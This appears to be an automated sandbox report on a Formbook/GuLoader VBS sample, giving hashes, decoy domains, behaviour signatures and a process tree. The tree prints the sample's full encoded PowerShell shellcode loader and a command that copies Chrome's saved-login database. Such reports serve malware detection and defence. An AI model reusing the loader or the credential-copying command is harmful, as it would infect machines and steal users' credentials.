formbook | e76b1a4f9aa3787900758ce81367f40587ca3d6a3a7ab6d1d02537e12cb10c37

Analysis

max time kernel
160s
max time network
173s
platform
windows10-2004_x64
resource
win10v2004-en-20220113
submitted
09-02-2022 14:59

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General

Target

file673736 241-22 01.02.22.vbs
Size

165KB
MD5

7faf86b2e1bb45a26367227c777dc668
SHA1

74e41c42eb5b04c532567d9244c969f4895ee3ca
SHA256

e76b1a4f9aa3787900758ce81367f40587ca3d6a3a7ab6d1d02537e12cb10c37
SHA512

c9427897cb391da11ee8325cd0ffd8efc7b94b2c46503a1cc4a71bd8497fcdfa42efccba7613b1119329d26b510486fe1c05290726ce06c53b60b1c76ded6427

Score

10^/10

formbook guloader k6sm downloader persistence rat spyware stealer suricata trojan

Malware Config

Extracted

Family

formbook

Version

4.1

Campaign

k6sm

Decoy

mingshengjewelry.com

ontimecleaningenterprise.com

alyssa0.xyz

ptecex.xyz

dukfot.online

pvcpc.com

iowalawtechnology.com

nestletranspotation.com

mysithomes.com

greenlakespaseattle.com

evofishingsystems.com

unilytcs.com

ordemt.com

dentalbatonrouge.com

pictureme360.net

chalinaslacatalana.com

newmirrorimage.xyz

pinklaceandlemonade.com

rapinantes.com

yzicpa.com

Signatures

Formbook
Formbook is a data stealing malware which is capable of stealing data.
trojan spyware stealer formbook
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata
suricata: ET MALWARE FormBook CnC Checkin (POST) M2
suricata: ET MALWARE FormBook CnC Checkin (POST) M2
suricata

Formbook Payload 3 IoCs

rat

Processes:

resource	yara_rule
behavioral2/memory/2060-159-0x0000000000400000-0x00000000006A3000-memory.dmp	formbook
behavioral2/memory/2060-160-0x0000000000400000-0x000000000042F000-memory.dmp	formbook
behavioral2/memory/4876-166-0x0000000000540000-0x000000000056F000-memory.dmp	formbook

Adds policy Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

wscript.exe

description	ioc	process
Key created	\Registry\User\S-1-5-21-1346565761-3498240568-4147300184-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	wscript.exe

Checks QEMU agent file 2 TTPs 2 IoCs

Checks presence of QEMU agent, possibly to detect virtualization.

Query Registry

T1012

System Information Discovery

T1082

Processes:

powershell.exeieinstal.exe

description	ioc	process
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	powershell.exe
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	ieinstal.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	WScript.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

wscript.exe

description	ioc	process
Key created	\Registry\User\S-1-5-21-1346565761-3498240568-4147300184-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	wscript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OZFTIDJ = "C:\\Program Files (x86)\\internet explorer\\ieinstal.exe"	wscript.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

ieinstal.exe

pid process

2060 ieinstal.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exeieinstal.exe

pid process

4652 powershell.exe
2060 ieinstal.exe

pid	process
2060	ieinstal.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

powershell.exeieinstal.exewscript.exe

description	pid	process	target process
PID 4652 set thread context of 2060	4652	powershell.exe	ieinstal.exe
PID 2060 set thread context of 2232	2060	ieinstal.exe	Explorer.EXE
PID 4876 set thread context of 2232	4876	wscript.exe	Explorer.EXE

Drops file in Windows directory 8 IoCs

Processes:

svchost.exeTiWorker.exe

description	ioc	process
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe
File opened for modification	C:\Windows\Logs\CBS\CBS.log	TiWorker.exe
File opened for modification	C:\Windows\WinSxS\pending.xml	TiWorker.exe
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

Processes:

wscript.exe

description	ioc	process
Key created	\Registry\User\S-1-5-21-1346565761-3498240568-4147300184-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2	wscript.exe

Suspicious behavior: EnumeratesProcesses 28 IoCs

Processes:

powershell.exeieinstal.exewscript.exe

pid	process
4652	powershell.exe
4652	powershell.exe
2060	ieinstal.exe
2060	ieinstal.exe
2060	ieinstal.exe
2060	ieinstal.exe
4876	wscript.exe
4876	wscript.exe
4876	wscript.exe
4876	wscript.exe
4876	wscript.exe
4876	wscript.exe
4876	wscript.exe
4876	wscript.exe
4876	wscript.exe
4876	wscript.exe
4876	wscript.exe
4876	wscript.exe
4876	wscript.exe
4876	wscript.exe
4876	wscript.exe
4876	wscript.exe
4876	wscript.exe
4876	wscript.exe
4876	wscript.exe
4876	wscript.exe
4876	wscript.exe
4876	wscript.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid process

2232 Explorer.EXE
Suspicious behavior: MapViewOfSection 8 IoCs

Processes:

powershell.exeieinstal.exewscript.exe

pid process

4652 powershell.exe
2060 ieinstal.exe
2060 ieinstal.exe
2060 ieinstal.exe
4876 wscript.exe
4876 wscript.exe
4876 wscript.exe
4876 wscript.exe

pid	process
2232	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exesvchost.exeTiWorker.exeieinstal.exe

description	pid	process
Token: SeDebugPrivilege	4652	powershell.exe
Token: SeShutdownPrivilege	1992	svchost.exe
Token: SeCreatePagefilePrivilege	1992	svchost.exe
Token: SeShutdownPrivilege	1992	svchost.exe
Token: SeCreatePagefilePrivilege	1992	svchost.exe
Token: SeShutdownPrivilege	1992	svchost.exe
Token: SeCreatePagefilePrivilege	1992	svchost.exe
Token: SeSecurityPrivilege	2908	TiWorker.exe
Token: SeRestorePrivilege	2908	TiWorker.exe
Token: SeBackupPrivilege	2908	TiWorker.exe
Token: SeBackupPrivilege	2908	TiWorker.exe
Token: SeRestorePrivilege	2908	TiWorker.exe
Token: SeSecurityPrivilege	2908	TiWorker.exe
Token: SeBackupPrivilege	2908	TiWorker.exe
Token: SeRestorePrivilege	2908	TiWorker.exe
Token: SeSecurityPrivilege	2908	TiWorker.exe
Token: SeBackupPrivilege	2908	TiWorker.exe
Token: SeRestorePrivilege	2908	TiWorker.exe
Token: SeSecurityPrivilege	2908	TiWorker.exe
Token: SeBackupPrivilege	2908	TiWorker.exe
Token: SeRestorePrivilege	2908	TiWorker.exe
Token: SeSecurityPrivilege	2908	TiWorker.exe
Token: SeBackupPrivilege	2908	TiWorker.exe
Token: SeRestorePrivilege	2908	TiWorker.exe
Token: SeSecurityPrivilege	2908	TiWorker.exe
Token: SeBackupPrivilege	2908	TiWorker.exe
Token: SeRestorePrivilege	2908	TiWorker.exe
Token: SeSecurityPrivilege	2908	TiWorker.exe
Token: SeBackupPrivilege	2908	TiWorker.exe
Token: SeRestorePrivilege	2908	TiWorker.exe
Token: SeSecurityPrivilege	2908	TiWorker.exe
Token: SeBackupPrivilege	2908	TiWorker.exe
Token: SeRestorePrivilege	2908	TiWorker.exe
Token: SeSecurityPrivilege	2908	TiWorker.exe
Token: SeBackupPrivilege	2908	TiWorker.exe
Token: SeRestorePrivilege	2908	TiWorker.exe
Token: SeSecurityPrivilege	2908	TiWorker.exe
Token: SeBackupPrivilege	2908	TiWorker.exe
Token: SeRestorePrivilege	2908	TiWorker.exe
Token: SeSecurityPrivilege	2908	TiWorker.exe
Token: SeDebugPrivilege	2060	ieinstal.exe
Token: SeBackupPrivilege	2908	TiWorker.exe
Token: SeRestorePrivilege	2908	TiWorker.exe
Token: SeSecurityPrivilege	2908	TiWorker.exe
Token: SeBackupPrivilege	2908	TiWorker.exe
Token: SeRestorePrivilege	2908	TiWorker.exe
Token: SeSecurityPrivilege	2908	TiWorker.exe
Token: SeBackupPrivilege	2908	TiWorker.exe
Token: SeRestorePrivilege	2908	TiWorker.exe
Token: SeSecurityPrivilege	2908	TiWorker.exe
Token: SeBackupPrivilege	2908	TiWorker.exe
Token: SeRestorePrivilege	2908	TiWorker.exe
Token: SeSecurityPrivilege	2908	TiWorker.exe
Token: SeBackupPrivilege	2908	TiWorker.exe
Token: SeRestorePrivilege	2908	TiWorker.exe
Token: SeSecurityPrivilege	2908	TiWorker.exe
Token: SeBackupPrivilege	2908	TiWorker.exe
Token: SeRestorePrivilege	2908	TiWorker.exe
Token: SeSecurityPrivilege	2908	TiWorker.exe
Token: SeBackupPrivilege	2908	TiWorker.exe
Token: SeRestorePrivilege	2908	TiWorker.exe
Token: SeSecurityPrivilege	2908	TiWorker.exe
Token: SeBackupPrivilege	2908	TiWorker.exe
Token: SeRestorePrivilege	2908	TiWorker.exe

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

WScript.exepowershell.execsc.exeExplorer.EXEwscript.exe

description	pid	process	target process
PID 4216 wrote to memory of 4652	4216	WScript.exe	powershell.exe
PID 4216 wrote to memory of 4652	4216	WScript.exe	powershell.exe
PID 4216 wrote to memory of 4652	4216	WScript.exe	powershell.exe
PID 4652 wrote to memory of 3764	4652	powershell.exe	csc.exe
PID 4652 wrote to memory of 3764	4652	powershell.exe	csc.exe
PID 4652 wrote to memory of 3764	4652	powershell.exe	csc.exe
PID 3764 wrote to memory of 4476	3764	csc.exe	cvtres.exe
PID 3764 wrote to memory of 4476	3764	csc.exe	cvtres.exe
PID 3764 wrote to memory of 4476	3764	csc.exe	cvtres.exe
PID 4652 wrote to memory of 2060	4652	powershell.exe	ieinstal.exe
PID 4652 wrote to memory of 2060	4652	powershell.exe	ieinstal.exe
PID 4652 wrote to memory of 2060	4652	powershell.exe	ieinstal.exe
PID 4652 wrote to memory of 2060	4652	powershell.exe	ieinstal.exe
PID 2232 wrote to memory of 4876	2232	Explorer.EXE	wscript.exe
PID 2232 wrote to memory of 4876	2232	Explorer.EXE	wscript.exe
PID 2232 wrote to memory of 4876	2232	Explorer.EXE	wscript.exe
PID 4876 wrote to memory of 3444	4876	wscript.exe	cmd.exe
PID 4876 wrote to memory of 3444	4876	wscript.exe	cmd.exe
PID 4876 wrote to memory of 3444	4876	wscript.exe	cmd.exe
PID 4876 wrote to memory of 1800	4876	wscript.exe	Firefox.exe
PID 4876 wrote to memory of 1800	4876	wscript.exe	Firefox.exe
PID 4876 wrote to memory of 1800	4876	wscript.exe	Firefox.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of WriteProcessMemory
PID:2232

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\file673736 241-22 01.02.22.vbs"
2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4216

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBIAGoAbABwADIAIABvAHIAZABpAG4AcgBzAGsAbgAgAEsATwBOAFYAIABEAEkAUwBDAEkAIABwAHIAZQBkAGUAdABlAHMAIABUAGUAZwBuAG0AcwAgAGQAZQBpAG4AYwByACAAQgBSAE8AQQBEAEUATgBJAE4ARwAgAEMAQQBQAEUAUgBOAE8AIABGAHIAYQBnAG0AZQA3ACAAUwBrAG0AbQAgAEYAbwByAGIAZQBoAG8AIABIAEEATABTAEgAVgAgAEoAaQBiAGUAZABzAHcAIABiAGUAZgBhAG0AbABpACAAVQBOAEMASABSAEkAUwAgAFIAbwBzAGsAaQBsAGQAZQBuAHMAOQAgAGEAdgBsAHMAIAB1AGQAcgBlAGQAIABSAEUAUABSAEUASABFACAAWQBtAHAAbgBpAG4AIABkAHUAcwB0AHMAaABlAGUAIABQAGEAcgBvACAARQBsAGUAYQAgAFUAbgBkAGUAcgA5ACAATQBvAHQAaQB2AGUAdAAzACAAdABhAGsAdABlAHIAaQBuACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAFUAUABFAFIAUABSAEUARABJADEADQAKAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAG4AdABkAGwAbAAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAATgB0AEEAbABsAG8AYwBhAHQAZQBWAGkAcgB0AHUAYQBsAE0AZQBtAG8AcgB5ACgAaQBuAHQAIABTAFUAUABFAFIAUABSAEUARABJADYALAByAGUAZgAgAEkAbgB0ADMAMgAgAGQAaQBzAGIAcgBhACwAaQBuAHQAIABPAGwAZAB0AGkALAByAGUAZgAgAEkAbgB0ADMAMgAgAFMAVQBQAEUAUgBQAFIARQBEAEkALABpAG4AdAAgAFAAcgBlAGMAdQByAHIAaQBjAHUALABpAG4AdAAgAFMAVQBQAEUAUgBQAFIARQBEAEkANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABWAGkAbABkAGgAZQBkAG8AbgB5ACwAdQBpAG4AdAAgAFMAUABFAFIATQBJAEUAVABGAEUALABpAG4AdAAgAFAAQQBSAEEAVAAsAGkAbgB0ACAAUwBVAFAARQBSAFAAUgBFAEQASQAwACwAaQBuAHQAIABFAHYAbwBrAGUAcgBzAGsALABpAG4AdAAgAEEARQBDAEkATwAsAGkAbgB0ACAAUwBzAHQAdABlAG4AZAAzACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAE8AbABkAHQAaQAwACwAdQBpAG4AdAAgAE8AbABkAHQAaQAxACwASQBuAHQAUAB0AHIAIABPAGwAZAB0AGkAMgAsAHIAZQBmACAASQBuAHQAMwAyACAATwBsAGQAdABpADMALABpAG4AdAAgAE8AbABkAHQAaQA0ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAYQBsAGwAVwBpAG4AZABvAHcAUAByAG8AYwBBACgASQBuAHQAUAB0AHIAIABPAGwAZAB0AGkANQAsAGkAbgB0ACAATwBsAGQAdABpADYALABpAG4AdAAgAE8AbABkAHQAaQA3ACwAaQBuAHQAIABPAGwAZAB0AGkAOAAsAGkAbgB0ACAATwBsAGQAdABpADkAKQA7AA0ACgB9AA0ACgAiAEAADQAKACMAbwBsAGkAdgBhAGMAZQAgAFMAawBvAHIAcABlAHMAIABEAHcAYQByAGYAIABGAGwAeQB2ADYAIABQAGwAZQB0AGYAcgBpAGUAMwAgAGEAawB2AGEAdABpAG4AIABiAG8AYQByACAAQgBvAG0AYgBlAHIAZQAgAEEAYgB1AG0AYgAyACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBtAGQAaQBnAG8AbwBnAGUAbgB5ACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFIAZQBrAHUAcgBzAGkAbwBuAHMAIgAgAA0ACgAkAFMAVQBQAEUAUgBQAFIARQBEAEkAMwA9ADAAOwANAAoAJABTAFUAUABFAFIAUABSAEUARABJADkAPQAxADAANAA4ADUANwA2ADsADQAKACQAUwBVAFAARQBSAFAAUgBFAEQASQA4AD0AWwBTAFUAUABFAFIAUABSAEUARABJADEAXQA6ADoATgB0AEEAbABsAG8AYwBhAHQAZQBWAGkAcgB0AHUAYQBsAE0AZQBtAG8AcgB5ACgALQAxACwAWwByAGUAZgBdACQAUwBVAFAARQBSAFAAUgBFAEQASQAzACwAMAAsAFsAcgBlAGYAXQAkAFMAVQBQAEUAUgBQAFIARQBEAEkAOQAsADEAMgAyADgAOAAsADYANAApAA0ACgAjAEcAdQBtAG0AMwAgAEEAbgB0AGkANgAgAGgAdgBlAHAAcwBlAG4AZQBzAGkAIAByAGUAYwBlAHAAdAAgAFAAcgBvAHQAZQBzAHQAMwAgAGEAcABwAG8AaQBuAHQAcwBsACAARABFAEwAUABMACAASABBAFYAQQBBAEwAUAAgAHIAdQBiAGkAYwAgAHIAaQBuAGcAZQBsACAATwB2AGUAcgBsAG8AZwBpAGMAYQA0ACAAZgBhAHIAbABpACAATgBhAHIAcgBlAHIAaQA3ACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBDAGgAZQB0AGkAdgBlAHUAbgA3ACIAIAANAAoAJABTAFUAUABFAFIAUABSAEUARABJADIAPQAiACQAZQBuAHYAOgB0AGUAbQBwACIAIAArACAAIgBcAEEAawB0AGkAdgBzAGcAZQBtAC4AZABhAHQAIgANAAoAIwBUAGkAcwBzAGUAdAAgAEkAYgBsAGEAbgAgAFMAYQBsAHYAIABFAG4AYwBlACAAUwBwAGUAagBsAGsAYQBiAGkAIABTAGoAdQBzAHMANgAgAE8ATQBTAFQATgBJAE4ARwBTAEEAIABuAG8AbgBhAHMAYwBlAHQAaQBjACAATgBPAE4AUAAgAFMAdABpAG4AMwAgAA0ACgAkAFMAVQBQAEUAUgBQAFIARQBEAEkANAA9AFsAUwBVAFAARQBSAFAAUgBFAEQASQAxAF0AOgA6AEMAcgBlAGEAdABlAEYAaQBsAGUAQQAoACQAUwBVAFAARQBSAFAAUgBFAEQASQAyACwAMgAxADQANwA0ADgAMwA2ADQAOAAsADEALAAwACwAMwAsADEAMgA4ACwAMAApAA0ACgAjAE0AaQBzAG0AbwB2ACAARgBvAHIAcwByADUAIABMAGUAZwBpAHQAaQAgAEsAQQBUAEgATABJAE4AUwAgAFAAUgBPAEIATwBTAEMARQBTACAAUAByAG0AaQBlAG8AYgBsAGkAIABoAHIAZQBuAGQAZQBiACAAZgBhAGcAZwByAHUAcABwAGUAIABGAGkAeABpAHQAaABlAG4AZAAgAGEAbAB5AGMAbwAgAE4AbwBuAGQAIABTAGEAZABsAGUAcgBmAGEAdQBuACAAVABhAGsAdAByAGUAZwB1AGwAIABFAEQARwBFAE0AQQBOAEwAIABuAG8AbgBwACAAbQBlAHQAZQBvAHIAbwBsACAAUgBhAGIAYgBpAHQANwAgAFMATwBUAFQASQAgAEEAcgBnAHUAcwBqAGUAdABoADUAIABHAGEAcgBkAGUAcgA3ACAAUABsAGEAYwBpAGQAZwB1ADgAIABDAGgAYQBnAHIAaQBuAG4AZQA1ACAAVQBOAFcATwAgAHIAbgB0AGcAZQBuAGIAbABpAGsAIABmAGwAbwByAGkAcwAgAEIAaQBmAGkAZwA0ACAASABZAEcAUgBPACAATgBvAGcAZwBpAG4AZwBzADMAIABIAEkATABTAEUATgAgAFcAQQBTAEgAVABVACAAUAByAG8AdABvAGMAaQB0AGkAegAgAE8AdgBlAHIAcQAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIATgBJAFQAUgAiACAADQAKACQAUwBVAFAARQBSAFAAUgBFAEQASQA1AD0AMAA7AA0ACgAjAGQAZQBjAGEAeQBlAGQAIABDAGEAcgB0AG0AYQBuAHUAbgBkADQAIABLAFUAUwBPAE4AIABzAHUAYwBjAGUAcwAgAGYAbwByAHYAYQBuACAAVgBpAHIAdAB1AG8AMgAgAFIAZQBkAGkAZwBlAHIAaQBuAGcAIABEAEUATABJAEsAQQBUAEUAIABVAG4AYwBvAGcAbgBpAHoAYQBuACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBLAEEAUgBUAE8AVABFAEsAUwAiACAADQAKAFsAUwBVAFAARQBSAFAAUgBFAEQASQAxAF0AOgA6AFIAZQBhAGQARgBpAGwAZQAoACQAUwBVAFAARQBSAFAAUgBFAEQASQA0ACwAJABTAFUAUABFAFIAUABSAEUARABJADMALAA2ADYANQA3ADIALABbAHIAZQBmAF0AJABTAFUAUABFAFIAUABSAEUARABJADUALAAwACkADQAKACMATQBnAGwAZQByADUAIABTAFQASQBMAEEAIABzAGsAbgBkAGkAZwBoACAARgBsAHMAdQBiAGUAcQB1AGEAdAA0ACAAZQBzAHAAcgBlAHMAcwBpAHYAIABQAHIAbwBnAHIAYQBtAG0AZQAgAE4AbwBuAGYAOAAgAFAAUgBJAE4AQwBJAFAAIABCAGUAcgBuAHMAZwAgAGsAcgBhAHMAcwBlAHMAbwBjAGMAIABiAGEAZABnAGUAcgBpACAAUgBlAGoAcwBlAG4AZABlAHkAIAByAGUAcwB0AGEAZwBlAHIAIABzAGEAbQBzAGUAbgBkAGkAbgBnACAAQgByAHUAZwA1ACAAUABhAHAAaQByACAAUwBPAEMASQAgAEEAZABnAGEAbgBnAHMAZgBvAHIAIABLAHIAYQB0AG8AZwBlAG4AaQAxACAAawBpAG4AawAgAEsAVgBJAEsAUwAgAEsAUgBWAEUAUwBLAEUATABUAEkAIABTAGsAcgB2AGUAYgBhAG4AZQByACAARQBuAHQAcgBlAHAAcgAgAFAAbABhAG4AZQB0ADMAIABTAEwAQQBUACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBLAE8ATgBGAEkAUwBLACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEQARABDAEEARABFAE4ATwBDAEEAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAQQBuAHIAZQB0AHQAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIARQBNAEEATABKAEUAUgBJACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEYAZQB0AGkAcwA1ACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEwAdQBkAGUAcgBrAGEAcgBsACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEEAcwBjAGUAbAAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBOAGUAYwBlAHMAcwBpADUAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAYgB1AHIAZwBhAG0AbwB0AGEAbQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBnAHIAbwB1AHMAZQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBOAGEAdAB1AHIAawByAGEAZgAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBDAEEAUgBGAEEAUgAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBQAEkARQBTAEgATwAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBSAEEATQBTAEwARwBEAFIAIgAgAA0ACgBbAFMAVQBQAEUAUgBQAFIARQBEAEkAMQBdADoAOgBDAGEAbABsAFcAaQBuAGQAbwB3AFAAcgBvAGMAQQAoACQAUwBVAFAARQBSAFAAUgBFAEQASQAzACwAIAAwACwAMAAsADAALAAwACkADQAKAA0ACgA="
3⤵
- Checks QEMU agent file
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4652

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\a4y03q1z\a4y03q1z.cmdline"
4⤵
- Suspicious use of WriteProcessMemory
PID:3764

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA98C.tmp" "c:\Users\Admin\AppData\Local\Temp\a4y03q1z\CSC557E15A6433147A4909C44EB5E52444.TMP"
5⤵
PID:4476

C:\Program Files (x86)\internet explorer\ieinstal.exe
"C:\Program Files (x86)\internet explorer\ieinstal.exe"
4⤵
- Checks QEMU agent file
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
PID:2060

C:\Windows\SysWOW64\wscript.exe
"C:\Windows\SysWOW64\wscript.exe"
2⤵
- Adds policy Run key to start application
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:4876

C:\Windows\SysWOW64\cmd.exe
/c copy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\Admin\AppData\Local\Temp\DB1" /V
3⤵
PID:3444

C:\Program Files\Mozilla Firefox\Firefox.exe
"C:\Program Files\Mozilla Firefox\Firefox.exe"
3⤵
PID:1800

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:1992

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:2908

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Aktivsgem.dat
MD5
b8fb4faef24302dcfac6cc1a885b1ec2

SHA1
9c14c95107f054c0bfc77243cb99aa57fe3f9bd1

SHA256
9ba5694976d1254b451bc1be9495049fba0421e65d1ccf23fb2c39a2d4f531f0

SHA512
e0506ecdb5fcfcb32e0f32167c30a7daa03e572eb514db96661709751c161f85f265a6f98ce2c2e03aa2cf1a80dbcba489614e7923aa2f7e7fc629b068ef41d7

Download Submit
C:\Users\Admin\AppData\Local\Temp\DB1
MD5
b608d407fc15adea97c26936bc6f03f6

SHA1
953e7420801c76393902c0d6bb56148947e41571

SHA256
b281ce54125d4250a80f48fcc02a8eea53f2c35c3b726e2512c3d493da0013bf

SHA512
cc96ddf4bf90d6aaa9d86803cb2aa30cd8e9b295aee1bd5544b88aeab63dc60bb1d4641e846c9771bab51aabbfbcd984c6d3ee83b96f5b65d09c0841d464b9e4

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESA98C.tmp
MD5
f37015d41fa42aab7b837f3a484e7a70

SHA1
07a83f6ff305977069e12dcf954c370beb55bacb

SHA256
cc36e95408b24d7e2e35dbf478e722e75f25f770afffb9f3d7c7de4a837db8d1

SHA512
9d434770efa1d089e10a60b7c817f676bc70525ba2ca3c6270bf00ca4100ea55d05a281019d665d619cb48943169b662525d67952193082f097b5a42b2521a04

Download Submit
C:\Users\Admin\AppData\Local\Temp\a4y03q1z\a4y03q1z.dll
MD5
6ab999f5f07cf1734c1287751bef154b

SHA1
663c2ff81b836f21fa84a50691785f08b557223f

SHA256
dd3a85278e9f19278c7fb6bc0b0032b5bafbb94356e1b0d30ce50ab2f02d8d30

SHA512
